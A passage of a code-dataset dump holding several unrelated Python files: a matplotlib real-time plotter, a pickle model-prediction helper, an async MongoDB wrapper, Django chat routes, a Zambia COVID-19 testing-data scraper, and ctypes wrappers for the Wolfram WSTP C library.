self.shutdown_complete.clear()\n\n self.plot_thread = threading.Thread(None, self.thread_target, daemon=True)\n self.plot_thread.start()\n self.setup_complete.wait()\n\n def add_data(self, x, y):\n with self.data_lock:\n self.x_data.append(x)\n self.y_data.append(y)\n self.notify_new_data()\n\n def notify_new_data(self):\n self.new_data = True\n\n def stop(self):\n self._shutdown_loop()\n self.shutdown_complete.wait()\n self.shutdown_complete.clear()\n self.setup_complete.clear()\n\n def _shutdown_loop(self):\n self.stop_loop = True\n self.plot_thread.join()\n self.plot_thread = None\n\n def extend_data(self, x_data, y_data):\n if len(x_data) != len(y_data):\n raise ValueError(\"Data must have same length!\")\n with self.data_lock:\n self.x_data.extend(x_data)\n self.y_data.extend(y_data)\n self.notify_new_data()\n\n def threadloop(self):\n self.setup_pyplot()\n self.setup_complete.set()\n while not self.stop_loop:\n with self.data_lock:\n if self.new_data:\n with self.pyplot_lock:\n self.new_data = False\n self.line.set_data(self.x_data, self.y_data)\n self.figure.canvas.restore_region(self.background)\n self.figure.draw_artist(self.subplot)\n self.figure.canvas.blit(self.subplot.bbox)\n self.subplot.autoscale_view()\n self.figure.canvas.flush_events()\n sleep(0.01)\n self.clear_pyplot()\n self.shutdown_complete.set()\n\n\nclass SimpleRTPlot2(SimpleRTPlot):\n\n def _init(self):\n self.thread_target = self._threadloop2\n\n def notify_new_data(self):\n self.figure.canvas.stop_event_loop()\n\n def _shutdown_loop(self):\n self.stop_loop = True\n self.figure.canvas.stop_event_loop()\n self.plot_thread.join()\n self.plot_thread = None\n\n def _threadloop2(self):\n self.setup_pyplot()\n # start with event loop running\n self.figure.canvas.start_event_loop(1)\n\n while not self.stop_loop:\n with self.data_lock:\n self.line.set_data(self.x_data, self.y_data)\n with self.pyplot_lock:\n self.figure.canvas.restore_region(self.background)\n self.figure.draw_artist(self.subplot)\n self.figure.canvas.blit(self.subplot.bbox)\n self.subplot.autoscale_view()\n self.figure.canvas.start_event_loop(1)\n self.clear_pyplot()\n\n\nfrom tkinter import TclError\nfrom time import time\n\n\nclass SimpleRTPlot3(SimpleRTPlot):\n def show(self):\n self.setup_pyplot()\n self.last_update = time()\n def flush(flushfunc):\n while True:\n flushfunc()\n threading.Thread(None, flush, None, (self.figure.canvas.flush_events,), daemon=True).start()\n\n def notify_new_data(self):\n self.line.set_data(self.x_data, self.y_data)\n self.figure.canvas.restore_region(self.background)\n self.figure.draw_artist(self.subplot)\n try:\n self.figure.canvas.blit(self.subplot.bbox)\n except TclError:\n return\n # if time() - self.last_update > 1:\n # self.figure.canvas.flush_events()\n # self.last_update = time()\n\n\ndef main2():\n\n plot = SimpleRTPlot3(max_pts=20)\n data = iterdata()\n plot.show()\n plot.subplot.set_ylim(-1, 1, True)\n plot.subplot.set_xlim(0, np.pi * 5, True)\n frames = 0\n start = time()\n while True:\n x, y = next(data)\n plot.add_data(x, y)\n frames += 1\n print(\"\\rFPS: %s\" % (frames / (time() - start)), end=\"\")\n\n\n\nif __name__ == '__main__':\n # main2()\n pass\n","sub_path":"archive/toys/plot_stuff.py","file_name":"plot_stuff.py","file_ext":"py","file_size_in_byte":7448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"325775645","text":"import pickle\nimport pandas as pd\n\n\n\n\ndef load_models(log_writer,file_object):\n log_writer.log(file_object, 'Starting to load models')\n with open(\"models/modelForPrediction.sav\", 'rb') as f:\n model = pickle.load(f)\n return model\n\ndef preprocess_data(final_df, log_writer,file_object):\n gender = {'male': 0, 'female': 1}\n final_df.Sex = [gender[item] for item in final_df.Sex]\n log_writer.log(file_object, 'Coverted Sex to float object')\n return final_df\n\n\ndef predict_data(dict_pred, log_writer):\n\n #validate the data entered\n #preprocess to get X in sme format\n #then apply models to predict\n file_object = open(\"logs/PredictionLogs.txt\", 'a+')\n log_writer.log(file_object, 'Starting the predict data')\n\n model = load_models(log_writer,file_object)\n log_writer.log(file_object, 'Loading of models completed')\n final_df = pd.DataFrame(dict_pred, index = [1,])\n final_df = preprocess_data(final_df, log_writer,file_object)\n log_writer.log(file_object, 'Prepared the final dataframe')\n log_writer.log(file_object, 'Predicting the result')\n predict = model.predict(final_df)\n\n print('Class is: ', predict[0])\n log_writer.log(file_object, 'Prediction completed')\n log_writer.log(file_object, '=================================================')\n return predict[0]\n\n\n","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"494597076","text":"from motor.motor_asyncio import AsyncIOMotorClient, AsyncIOMotorDatabase, AsyncIOMotorCollection\nfrom bson.objectid import ObjectId\nfrom mongo.models import Result, Counter\n\n\nclass AsyncDatabase:\n client: AsyncIOMotorClient = None\n database: AsyncIOMotorDatabase = None\n counters_collection: AsyncIOMotorCollection = None\n results_collection: AsyncIOMotorCollection = None\n\n def __init__(self, connection_uri: str, database_name: str):\n self.connection_uri = connection_uri\n self.database_name = database_name\n\n def connect_to_database(self):\n self.client = AsyncIOMotorClient(self.connection_uri)\n self.database = self.client[self.database_name]\n self.counters_collection = self.database.get_collection('counters')\n self.results_collection = self.database.get_collection('results')\n\n def close_database_connection(self):\n self.database.close()\n\n async def add_counter(self, counter: Counter) -> Counter:\n resp = await self.counters_collection.insert_one(counter.dict())\n counter.id = resp.inserted_id\n return counter\n\n async def get_results(self, counter_id: str, time_from: int, time_to: int, with_top: bool = False) -> list:\n if ObjectId.is_valid(counter_id):\n query = {\n 'counter_id': counter_id,\n 'timestamp': {'$gte': time_from, '$lte': time_to}\n }\n projection = {\n '_id': 0,\n 'counter_id': 0,\n 'top_ads': 0\n }\n\n if with_top:\n projection.pop('top_ads')\n\n results = []\n async for result in self.results_collection.find(query, projection):\n results.append(result)\n return results\n return []\n","sub_path":"src/mongo/async_database.py","file_name":"async_database.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"333290043","text":"from django.conf.urls import url\n\nfrom . import views\napp_name = 'chat'\n\n\nurlpatterns = [\n url(r'^chat/$', views.Talk, name='chat'),\n\n url(r'^post/$', views.Post, name='post'),\n url(r'^messages/$', views.Messages, name='messages'),\n]","sub_path":"webapp/chat/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"416450650","text":"\"\"\"Constructs daily time series of COVID-19 testing data for Zambia.\nArcGIS Dashboard: https://zambia-open-data-nsdi-mlnr.hub.arcgis.com/pages/zambia-covid19\n\"\"\"\n\nimport re\nimport json\nimport datetime\nimport requests\nimport pandas as pd\n\nCOUNTRY = 'Zambia'\nUNITS = 'tests performed'\nTESTING_TYPE = 'PCR only'\nSOURCE_LABEL = 'Government of Zambia'\nSOURCE_URL = 'https://zambia-open-data-nsdi-mlnr.hub.arcgis.com/pages/zambia-covid19'\nDATA_URL = 'https://services9.arcgis.com/ZNWWwa7zEkUIYLEA/arcgis/rest/services/service_d73fa15b0b304945a52e048ed42028a9/FeatureServer/0/query'\nPARAMS = {\n 'f': 'json',\n 'where': \"reportdt>=timestamp '2020-01-01 00:00:00'\",\n 'returnGeometry': False,\n 'spatialRel': 'esriSpatialRelIntersects',\n 'outFields': '*',\n 'orderByFields': 'reportdt asc',\n 'resultOffset': 0,\n 'resultRecordCount': 32000,\n 'resultType': 'standard',\n 'cacheHint': True,\n}\n\n# sample of official values for cross-checking against the API data.\nofficial_cumulative_totals = [\n (\"2020-09-03\", {\"cumulative_total\": 119567, \"source\": \"https://twitter.com/mohzambia/status/1301477446936678400\"}),\n (\"2020-08-08\", {\"cumulative_total\": 93344, \"source\": \"https://twitter.com/mohzambia/status/1292086483978014722\"}),\n (\"2020-08-06\", {\"cumulative_total\": 90307, \"source\": \"https://twitter.com/mohzambia/status/1291398767959322629\"}),\n (\"2020-07-30\", {\"cumulative_total\": 81482, \"source\": \"https://www.facebook.com/mohzambia/posts/1656823021159015\"}),\n (\"2020-07-29\", {\"cumulative_total\": 80239, \"source\": \"https://www.facebook.com/mohzambia/posts/1655960864578564\"}),\n (\"2020-07-28\", {\"cumulative_total\": 79269, \"source\": \"https://www.facebook.com/mohzambia/posts/1654985441342773\"}),\n (\"2020-05-07\", {\"cumulative_total\": 11412, \"source\": \"https://twitter.com/mohzambia/status/1258424347011756033\"}),\n (\"2020-04-30\", {\"cumulative_total\": 6828, \"source\": \"http://znphi.co.zm/news/wp-content/uploads/2020/05/Zambia_COVID-Situational-Report-No-43_30April20_Final.pdf\"}),\n (\"2020-04-09\", {\"cumulative_total\": 1314, \"source\": \"http://znphi.co.zm/news/wp-content/uploads/2020/04/Zambia_COVID-Situational-Report-No-22_09April20_Final.pdf\"}),\n (\"2020-04-08\", {\"cumulative_total\": 1222, \"source\": \"http://znphi.co.zm/news/wp-content/uploads/2020/04/Zambia_COVID-Situational-Report-No-21_08April20_Final.pdf\"}),\n (\"2020-04-07\", {\"cumulative_total\": 1087, \"source\": \"http://znphi.co.zm/news/wp-content/uploads/2020/04/Zambia_COVID-Situational-Report-No-20_07April20_Final.pdf\"}),\n (\"2020-03-31\", {\"cumulative_total\": 520, \"source\": \"http://znphi.co.zm/news/wp-content/uploads/2020/04/Zambia_COVID-Situational-Report-No-13_310320_Final.pdf\"}),\n (\"2020-03-22\", {\"cumulative_total\": 75, \"source\": \"http://znphi.co.zm/news/wp-content/uploads/2020/03/Zambia_COVID-Situational-Report-No-4_220320_final.pdf\"}),\n]\n\ndef main() -> None:\n df = get_data()\n df = df.sort_values('Date')\n df['Country'] = COUNTRY\n df['Units'] = UNITS\n df['Testing type'] = TESTING_TYPE\n df['Source URL'] = SOURCE_URL\n df['Source label'] = SOURCE_LABEL\n df['Notes'] = \"\"\n sanity_checks(df)\n df = df[['Country', 'Units', 'Testing type', 'Date', 'Cumulative total', 'Source URL', 'Source label', 'Notes']]\n df.to_csv(\"automated_sheets/Zambia.csv\", index=False)\n\ndef get_data() -> pd.DataFrame:\n res = requests.get(DATA_URL, params=PARAMS)\n assert res.ok\n json_data = json.loads(res.text)\n df = pd.DataFrame([feat['attributes'] for feat in json_data['features']])\n df['reportdt'] = df['reportdt'].astype(int).apply(lambda dt: datetime.datetime.utcfromtimestamp(dt/1000))\n df = df.rename(columns={'totalTests': 'Cumulative total'})\n df['Cumulative total'] = df['Cumulative total'].astype(int)\n # KLUDGE: there are a few days with two reports on the same day (but at \n # different times, like 10am vs 10pm). Upon inspection, it appears that the \n # latter reports (e.g. the 10pm reports) actually correspond to official cumulative\n # totals for the subsequent day (as determined by comparing to official updates\n # published on Twitter and Facebook). So I increment the date of these latter \n # reports by one.\n df = df.sort_values('reportdt')\n duplicate_idx = df.index[df['reportdt'].dt.date.duplicated(keep='first')]\n # df.loc[df['reportdt'].dt.date.duplicated(keep=False), ['reportdt', 'Cumulative total', 'test24hours']]\n for idx in duplicate_idx:\n df.loc[idx, 'reportdt'] = df.loc[idx, 'reportdt'] + datetime.timedelta(days=1)\n df['Date'] = df['reportdt'].dt.strftime('%Y-%m-%d')\n # df.loc[df['Date'].duplicated(keep=False), ['Date', 'reportdt', 'Cumulative total', 'test24hours']]\n # df.loc[(df['Date'] >= '2020-08-06') & (df['Date'] <= '2020-08-09'), ['Date', 'reportdt', 'Cumulative total', 'test24hours']]\n df = df[['Date', 'Cumulative total']]\n df = df[df[\"Cumulative total\"] > 0]\n df = df.groupby(\"Cumulative total\", as_index=False).min()\n df = df.groupby(\"Date\", as_index=False).min()\n return df\n\ndef sanity_checks(df: pd.DataFrame) -> None:\n \"\"\"checks that there are no obvious errors in the scraped data.\n \"\"\"\n # checks that there are no duplicate dates\n assert df['Date'].duplicated().sum() == 0, 'One or more rows have a duplicate date.'\n # checks that the cumulative number of tests on date t is always greater than the figure for t-1:\n assert (df['Cumulative total'].iloc[1:] >= df['Cumulative total'].shift(1).iloc[1:]).all(), \"On one or more dates, `Cumulative total` is greater on date t-1.\"\n # cross-checks a sample of scraped figures against the expected result.\n assert len(official_cumulative_totals) > 0\n for dt, d in official_cumulative_totals:\n val = df.loc[df['Date'] == dt, 'Cumulative total'].squeeze().sum()\n assert val == d['cumulative_total'], f\"scraped value ({val:,d}) != official value ({d['cumulative_total']:,d}) on {dt}\"\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/scripts/testing/automations/zambia.py","file_name":"zambia.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"469854227","text":"'''\nquick and dirty C API wrappers\n- basic error checking, memory cleanups, and type inference\n- imperative interface, still receives pointer object\n- this sub-module shall be easily portable to C, allowing future speedups\n'''\nfrom ctypes import *\nimport codecs\n\nfrom .wsdefs import *\nfrom . import naked\n\n# ==== utils\nclass BaseWSTPError(RuntimeError):\n def __init__(self, errno_, msg=''):\n '''\n Args:\n errno_: int\n msg: str\n '''\n self.errno = errno_\n self.msg = msg\n\n def __repr__(self):\n if self.msg:\n return '%s(%d, \"%s\")' % (\n type(self).__name__, self.errno, self.msg)\n else:\n return '%s(%d)' % (type(self).__name__, self.errno)\n\n def __str__(self):\n return self.__repr__()\n\nclass WSTPError(BaseWSTPError):\n '''\n Contains WSTP error code, and optionally a message\n\n For this class, error code should be one of WSE* from wstp.h\n '''\n pass\n\nclass WSTPTempLoopbackLink:\n '''\n Instantiated by WSTPTempLoobackContext\n '''\n __slots__ = ('penv', 'plnk')\n def __init__(self, penv):\n self.penv = penv\n\n def __enter__(self):\n self. plnk = WSLoopbackOpen(self.penv)\n return self\n\n def __exit__(self, errtype, err, traceback):\n if not err:\n WSClose(self.plnk)\n\nclass WSTPTempLoopbackContext:\n '''\n Some WSTP API requires a temporary loopback link to store data,\n this class provides a simple and safe way to do that.\n\n Example:\n penv = WSInitialize()\n lbctx = WSTPThrowawayLoopbackContext(penv)\n with lbctx.temp_link() as lb:\n plnk = lb.plnk\n WSPutXXX(plnk, ...)\n WSGetXXX(plnk, ...)\n ...\n '''\n __slots__ = ('penv')\n def __init__(self, penv):\n assert isinstance(penv, WSLINK_t)\n # make copy to avoid cross reference causing\n # failure to call __del__ in certain objects\n self.penv = cast(penv, WSLINK_t)\n\n def temp_link(self):\n return WSTPTempLoopbackLink(self.penv)\n\ndef check_error(errno_, msg=''):\n if errno_ != WSEOK:\n raise WSTPError(errno_, msg)\n\ndef check_link_error(lnk_p, msg=None, msg_prefix=None):\n errno_ = WSError(lnk_p)\n msg = WSErrorMessage(lnk_p) if msg is None else msg\n if msg_prefix is not None:\n msg = '%s: %s' % (msg_prefix, msg)\n check_error(errno_.value, msg)\n\ndef decode_pointer_buffer(ptr, nbytes, encoding='utf-8'):\n if not ptr:\n return ''\n vptr = cast(ptr, c_void_p)\n buf = (c_ubyte * nbytes).from_address(vptr.value)\n if encoding is None:\n return bytes(buf)\n else:\n return codecs.decode(buf, encoding=encoding)\n\n# ==== C API wrappers\n\ndef WSInitialize(env_p=0):\n return c_void_p(naked.__WSInitialize(env_p))\n\ndef WSDeinitialize(env_p):\n naked.__WSDeinitialize(env_p)\n\ndef WSOpenArgcArgv(env_p, *args):\n argc = c_int(len(args))\n argv = (c_char_p * len(args))()\n err = WSERRNO_t()\n for i,s in enumerate(args):\n argv[i] = s.encode('utf-8')\n lnk_p = naked.__WSOpenArgcArgv(env_p, argc, argv, byref(err))\n check_error(err.value, 'WSOpenArgcArgv')\n return lnk_p\n\ndef WSOpenString(env_p, cmd_line):\n err = WSERRNO_t()\n lnk_p = WSLINK_t(naked.__WSOpenString(\n env_p, cmd_line.encode('utf-8'), byref(err)))\n check_error(err.value, \"WSOpenString\")\n return lnk_p\n\ndef WSLoopbackOpen(env_p):\n err = WSERRNO_t()\n lnk_p = WSLINK_t(naked.__WSLoopbackOpen(env_p, byref(err)))\n check_error(err.value, \"WSLoopbackOpen\")\n return lnk_p\n\ndef WSActivate(lnk_p):\n if not naked.__WSActivate(lnk_p):\n check_link_error(lnk_p, msg_prefix=\"WSActivate\")\n\ndef WSDuplicateLink(lnk_p, name):\n err = WSERRNO_t()\n lnk_p = naked.__WSDuplicateLink(\n lnk_p, name.encode('utf-8'), byref(err))\n check_error(err.value, 'WSDuplicateLink')\n return lnk_p\n\ndef WSClose(lnk_p):\n naked.__WSClose(lnk_p)\n\ndef WSLinkName(lnk_p):\n return naked.__WSLinkName(lnk_p).value\n\nWSToLinkID = naked.__WSToLinkID\nWSFromLinkID = naked.__WSFromLinkID\n\ndef WSVersionNumbers(env_p):\n i, r, b = c_int(), c_int(), c_int()\n naked.__WSVersionNumbers(env_p, byref(i), byref(r), byref(b))\n return (i.value, r.value, b.value)\n\ndef WSNewLinkServer(env_p, ipaddr, port):\n err = WSERRNO_t()\n if isinstance(ipaddr, str):\n ipaddr = ipaddr.encode()\n assert isinstance(ipaddr, bytes)\n assert isinstance(port, int)\n server_p = naked.__WSNewLinkServerWithPortAndInterface(\n env_p, c_ushort(port), cast(ipaddr, c_char_p), c_void_p(0), byref(err))\n if err.value != WSEOK:\n raise WSTPError(err.value, 'WSNewLinkServer')\n return server_p\n\ndef WSShutdownLinkServer(server_p):\n naked.__WSShutdownLinkServer(server_p)\n\ndef WSRegisterCallbackFunctionWithLinkServer(server_p, fn):\n '''\n Args:\n server_p: pointer to link server\n fn: python callable\n '''\n if not isinstance(fn ,WSLINKSERVERCALLBACK_t):\n fn = WSLINKSERVERCALLBACK_t(fn)\n naked.__WSRegisterCallbackFunctionWithLinkServer(server_p, fn)\n return fn\n\ndef WSWaitForNewLinkFromLinkServer(server_p):\n '''\n Returns: pointer to link\n '''\n err = WSERRNO_t()\n lnk_p = naked.__WSWaitForNewLinkFromLinkServer(server_p, byref(err))\n check_error(err.value, 'WSWaitForNewLinkFromLinkServer')\n return lnk_p\n\ndef WSNewPacket(lnk_p):\n if not naked.__WSNewPacket(lnk_p):\n check_link_error(lnk_p, msg_prefix=\"WSNewPacket\")\n\ndef WSEndPacket(lnk_p):\n if not naked.__WSEndPacket(lnk_p):\n check_link_error(lnk_p, msg_prefix=\"WSEndPacket\")\n\ndef WSPutType(lnk_p, tok):\n if not naked.__WSPutType(lnk_p, tok):\n check_link_error(lnk_p, msg_prefix='WSPutType')\n\ndef WSPutNext(lnk_p, tok):\n if not naked.__WSPutNext(lnk_p, tok):\n check_link_error(lnk_p, msg_prefix='WSPutNext')\n\ndef WSPutSize(lnk_p, n):\n if not naked.__WSPutSize(lnk_p, n):\n check_link_error(lnk_p, msg_prefix='WSPutSize')\n\ndef WSPutData(lnk_p, s):\n '''\n Args:\n lnk_p: pointer to link\n s: buffer-like\n '''\n if not naked.__WSPutData(lnk_p, cast(s, c_char_p), len(s)):\n check_link_error(lnk_p, msg_prefix='WSPutData')\n\ndef WSPutRawData(lnk_p, s):\n '''\n Args:\n lnk_p: pointer to link\n s: buffer-like\n '''\n if not naked.__WSPutData(lnk_p, cast(s, POINTER(c_ubyte)), len(s)):\n check_link_error(lnk_p, msg_prefix='WSPutRawData')\n\ndef WSPutInteger8(lnk_p, i):\n if not naked.__WSPutInteger8(lnk_p, c_uint8(i)):\n check_link_error(lnk_p, msg_prefix=\"WSPutInteger8\")\n\ndef WSGetInteger8(lnk_p):\n i = c_int8()\n if not naked.__WSGetInteger8(lnk_p, byref(i)):\n check_link_error(lnk_p, msg_prefix=\"WSGetInteger8\")\n return i.value\n\ndef WSPutInteger16(lnk_p, i):\n if not naked.__WSPutInteger16(lnk_p, c_int32(i)):\n check_link_error(lnk_p, msg_prefix=\"WSPutInteger16\")\n\ndef WSGetInteger16(lnk_p):\n i = c_int16()\n if not naked.__WSGetInteger16(lnk_p, byref(i)):\n check_link_error(lnk_p, msg_prefix=\"WSGetInteger16\")\n return i.value\n\ndef WSPutInteger32(lnk_p, i):\n if not naked.__WSPutInteger32(lnk_p, c_int32(i)):\n check_link_error(lnk_p, msg_prefix=\"WSPutInteger32\")\n\ndef WSGetInteger32(lnk_p):\n i = c_int32()\n if not naked.__WSGetInteger32(lnk_p, byref(i)):\n check_link_error(lnk_p, msg_prefix=\"WSGetInteger32\")\n return i.value\n\ndef WSPutInteger64(lnk_p, i):\n if not naked.__WSPutInteger64(lnk_p, c_int64(i)):\n check_link_error(lnk_p, msg_prefix=\"WSPutInteger64\")\n\ndef WSGetInteger64(lnk_p):\n i = c_int64()\n if not naked.__WSGetInteger64(lnk_p, byref(i)):\n check_link_error(lnk_p, msg_prefix=\"WSGetInteger64\")\n return i.value\n\ndef WSPutInteger8List(lnk_p, li):\n raise NotImplementedError() # TODO\n\ndef WSGetInteger8List(lnk_p, li):\n raise NotImplementedError() # TODO\n\ndef WSReleaseInteger8List(lnk_p, li_p):\n raise NotImplementedError() # TODO\n\ndef WSPutReal64(lnk_p, f):\n if not naked.__WSPutReal64(lnk_p, f):\n check_link_error(lnk_p, msg_prefix=\"WSPutReal64\")\n\ndef WSGetReal64(lnk_p):\n f = c_double()\n if not naked.__WSGetReal64(lnk_p, byref(f)):\n check_link_error(lnk_p, msg_prefix=\"WSGetReal64\")\n return f.value\n\ndef WSPutString(lnk_p, s, encoding=None):\n '''\n Args:\n lnk_p: pointer to link\n s: string if encoding is None, bytes otherwise\n encoding: None(default), \"wolfram\", \"utf-8\", \"utf-16\", \"utf-32\"\n '''\n if encoding is None:\n assert isinstance(s, str)\n sb = s.encode('utf-8')\n if not naked.__WSPutUTF8String(\n lnk_p, cast(sb, POINTER(c_ubyte)), len(sb)):\n check_link_error(lnk_p, msg_prefix='WSPutUTF8String')\n return\n assert isinstance(s, bytes)\n if encoding == 'wolfram':\n if not naked.__WSPutString(lnk_p, s):\n check_link_error(lnk_p, msg_prefix='WSPutString')\n else:\n fn_put = {\n 'utf-8': naked.__WSPutUTF8String,\n 'utf-16': naked.__WSPutUTF16String,\n 'utf-32': naked.__WSPutUTF32String,\n }[encoding]\n if not fn_put(lnk_p, s, len(s)):\n check_link_error(lnk_p, msg_prefix=fn_put.__name__)\n\ndef WSGetString(lnk_p, encoding=None):\n '''\n Returns string if encoding is None, bytes otherwise\n Args:\n lnk_p: pointer to link\n encoding: None(default), \"wolfram\", \"utf-8\", \"utf-16\", \"utf-32\"\n '''\n if encoding is None:\n msg = WSGetString(lnk_p, encoding='utf-8').decode('utf-8')\n elif encoding == 'wolfram':\n sptr = c_char_p()\n if not naked.__WSGetString(lnk_p, byref(sptr)):\n check_link_error(lnk_p, msg_prefix=\"WSGetString\")\n msg = sptr.value\n naked.__WSReleaseString(sptr)\n else:\n elem_t, fn_getstr, fn_release = {\n 'utf-8': (c_ubyte, naked.__WSGetUTF8String, naked.__WSReleaseUTF8String),\n 'utf-16': (c_uint16, naked.__WSGetUTF16String, naked.__WSReleaseUTF16String),\n 'utf-32': (c_uint32, naked.__WSGetUTF32String, naked.__WSReleaseUTF32String),\n }[encoding]\n nbytes, nchars = c_int(), c_int()\n sptr = POINTER(elem_t)()\n if not fn_getstr(lnk_p, byref(sptr), byref(nbytes), byref(nchars)):\n check_link_error(lnk_p, msg_prefix=fn_getstr.__name__)\n msg = decode_pointer_buffer(sptr, nbytes.value, encoding=None)\n fn_release(lnk_p, sptr, nbytes)\n return msg\n\ndef WSPutByteString(lnk_p, s:bytes):\n if not naked.__WSPutByteString(lnk_p, cast(s, POINTER(c_ubyte)), len(s)):\n check_link_error(lnk_p, msg_prefix=\"WSPutByteString\")\n\ndef WSGetByteString(lnk_p):\n sptr = POINTER(c_ubyte)()\n nbytes = c_long()\n if not naked.__WSGetByteString(lnk_p, byref(sptr), byref(nbytes), 0):\n check_link_error(lnk_p, msg_prefix=\"WSGetByteString\")\n bs = decode_pointer_buffer(sptr, nbytes.value, encoding=None)\n naked.__WSReleaseByteString(lnk_p, sptr)\n return bs\n\ndef WSPutSymbol(lnk_p, s, encoding=None):\n '''\n Args:\n lnk_p: pointer to link\n s: string if encoding is None, bytes otherwise\n encoding: None(default), \"wolfram\", \"utf-8\", \"utf-16\", \"utf-32\"\n '''\n if encoding is None:\n assert isinstance(s, str)\n if not naked.__WSPutUTF8Symbol(lnk_p, cast(s.encode('utf-8'), POINTER(c_ubyte)), len(s)):\n check_link_error(lnk_p, msg_prefix='WSPutUTF8Symbol')\n return\n assert isinstance(s, bytes)\n if encoding == 'wolfram':\n if not naked.__WSPutSymbol(lnk_p, s):\n check_link_error(lnk_p, msg_prefix='WSPutString')\n else:\n fn_put = {\n 'utf-8': naked.__WSPutUTF8Symbol,\n 'utf-16': naked.__WSPutUTF16Symbol,\n 'utf-32': naked.__WSPutUTF32Symbol,\n }[encoding]\n sptr = cast(s, fn_put.argtypes[1])\n if not fn_put(lnk_p, sptr, len(s)):\n check_link_error(lnk_p, msg_prefix=fn_put.__name__)\n\ndef WSGetSymbol(lnk_p, encoding=None):\n '''\n Returns string if encoding is None, bytes otherwise\n Args:\n lnk_p: pointer to link\n encoding: None(default), \"wolfram\", \"utf-8\", \"utf-16\", \"utf-32\"\n '''\n if encoding is None:\n msg = WSGetSymbol(lnk_p, encoding='utf-8').decode('utf-8')\n elif encoding == 'wolfram':\n sptr = c_char_p()\n if not naked.__WSGetSymbol(lnk_p, byref(sptr)):\n check_link_error(lnk_p, msg_prefix=\"WSGetSymbol\")\n msg = sptr.value\n naked.__WSReleaseSymbol(sptr)\n else:\n elem_t, fn_getstr, fn_release = {\n 'utf-8': (c_ubyte, naked.__WSGetUTF8Symbol, naked.__WSReleaseUTF8Symbol),\n 'utf-16': (c_uint16, naked.__WSGetUTF16Symbol, naked.__WSReleaseUTF16Symbol),\n 'utf-32': (c_uint32, naked.__WSGetUTF32Symbol, naked.__WSReleaseUTF32Symbol),\n }[encoding]\n nbytes, nchars = c_int(), c_int()\n sptr = POINTER(elem_t)()\n if not fn_getstr(lnk_p, byref(sptr), byref(nbytes), byref(nchars)):\n check_link_error(lnk_p, msg_prefix=fn_getstr.__name__)\n msg = decode_pointer_buffer(sptr, nbytes.value, encoding=None)\n fn_release(lnk_p, sptr, nbytes)\n return msg\n\ndef WSPutFunction(lnk_p, fname, nargs, encoding=None):\n '''\n Args:\n lnk_p: pointer to link\n fname: string if encoding is None, bytes otherwise\n encoding: None(default), \"wolfram\", \"utf-8\", \"utf-16\", \"utf-32\"\n '''\n if encoding is None:\n assert isinstance(fname, str)\n fname_s = fname.encode('utf-8')\n if not naked.__WSPutUTF8Function(\n lnk_p, cast(fname_s, POINTER(c_ubyte)),\n c_int(len(fname_s)), c_int(nargs)):\n check_link_error(lnk_p, 'WSPutUTF8Function')\n return\n assert isinstance(fname, bytes)\n if encoding == 'wolfram':\n if not naked.__WSPutFunction(lnk_p, fname, nargs):\n check_link_error(lnk_p, msg_prefix='WSPutString')\n else:\n fn_put = {\n 'utf-8': naked.__WSPutUTF8Function,\n 'utf-16': naked.__WSPutUTF16Function,\n 'utf-32': naked.__WSPutUTF32Function,\n }[encoding]\n ptr = cast(fname, fn_put.argtypes[1])\n if not fn_put(lnk_p, ptr, c_int(len(fname)), c_int(nargs)):\n check_link_error(lnk_p, msg_prefix=fn_put.__name__)\n\ndef WSGetFunction(lnk_p, encoding=None):\n '''\n Returns (head, argcount)\n head is string if encoding is None, bytes otherwise\n\n Args:\n lnk_p: C pointer to link object\n encoding: None, 'utf-8', 'utf-16', 'utf-32',\n '''\n # TODO add encoding support\n argcount_i = c_int()\n head_p = c_char_p()\n if not naked.__WSGetFunction(lnk_p, byref(head_p), byref(argcount_i)):\n check_link_error(lnk_p, msg_prefix='WSGetFunction')\n return head_p.value.decode('utf-8'), argcount_i.value\n # FIXME below is a hacky/buggy impl, should call WSGet*Function after symbol not exported\n # bug is resolved. Also the following code cause memory corruption\n '''\n if encoding == 'wolfram':\n argcount_i = c_int()\n phead = c_char_p()\n if not naked.__WSGetFunction(lnk_p, byref(phead), byref(argcount_i)):\n check_link_error(lnk_p, msg_prefix='WSGetFunction')\n head = phead.value.decode('utf-8')\n argcount = argcount_i.value\n naked.__WSReleaseSymbol(lnk_p, phead)\n else:\n # since getter functions are missing from DLL, have to use this hack\n WSGetNext(lnk_p)\n argcount = WSGetArgCount(lnk_p)\n head = WSGetSymbol(lnk_p, encoding=encoding)\n return head, argcount\n '''\n\ndef WSGetNext(lnk_p):\n typ = naked.__WSGetNext(lnk_p)\n if WSTKERR == typ:\n raise RuntimeError(\"WSGetNext error\")\n return typ\n\ndef WSGetNextRaw(lnk_p):\n typ = naked.__WSGetNextRaw(lnk_p)\n if WSTKERR == typ:\n raise RuntimeError(\"WSGetNextRaw error\")\n return typ\n\ndef WSGetType(lnk_p):\n typ = naked.__WSGetType(lnk_p)\n if WSTKERR == typ:\n raise RuntimeError(\"WSGetType error\")\n return typ\n\ndef WSGetArrayType(lnk_p):\n '''\n Returns: (leaf_token, shape:tuple(int...), heads:tuple(str...))\n '''\n # does not call naked.__WSGetArrayType,\n # because array_meterp is opaque\n head_li = []\n shape_li = []\n leaf_token = None\n mrk_p = WSCreateMark(lnk_p)\n def load_tensor_axis(): # closure\n head, narg = WSGetFunction(lnk_p)\n head_li.append(head)\n shape_li.append(narg)\n load_tensor_axis()\n while True:\n tok = WSGetRawType(lnk_p)\n if tok == WSTKFUNC:\n load_tensor_axis()\n else:\n leaf_token = tok\n break\n WSSeekToMark(lnk_p, mrk_p)\n WSDestroyMark(lnk_p, mrk_p)\n return leaf_token, tuple(shape_li), tuple(head_li)\n\ndef WSGetRawType(lnk_p):\n typ = naked.__WSGetRawType(lnk_p)\n if WSTKERR == typ:\n raise RuntimeError(\"WSGetRawType error\")\n return typ\n\ndef WSGetArgCount(lnk_p):\n count = c_int()\n if not naked.__WSGetArgCount(lnk_p, 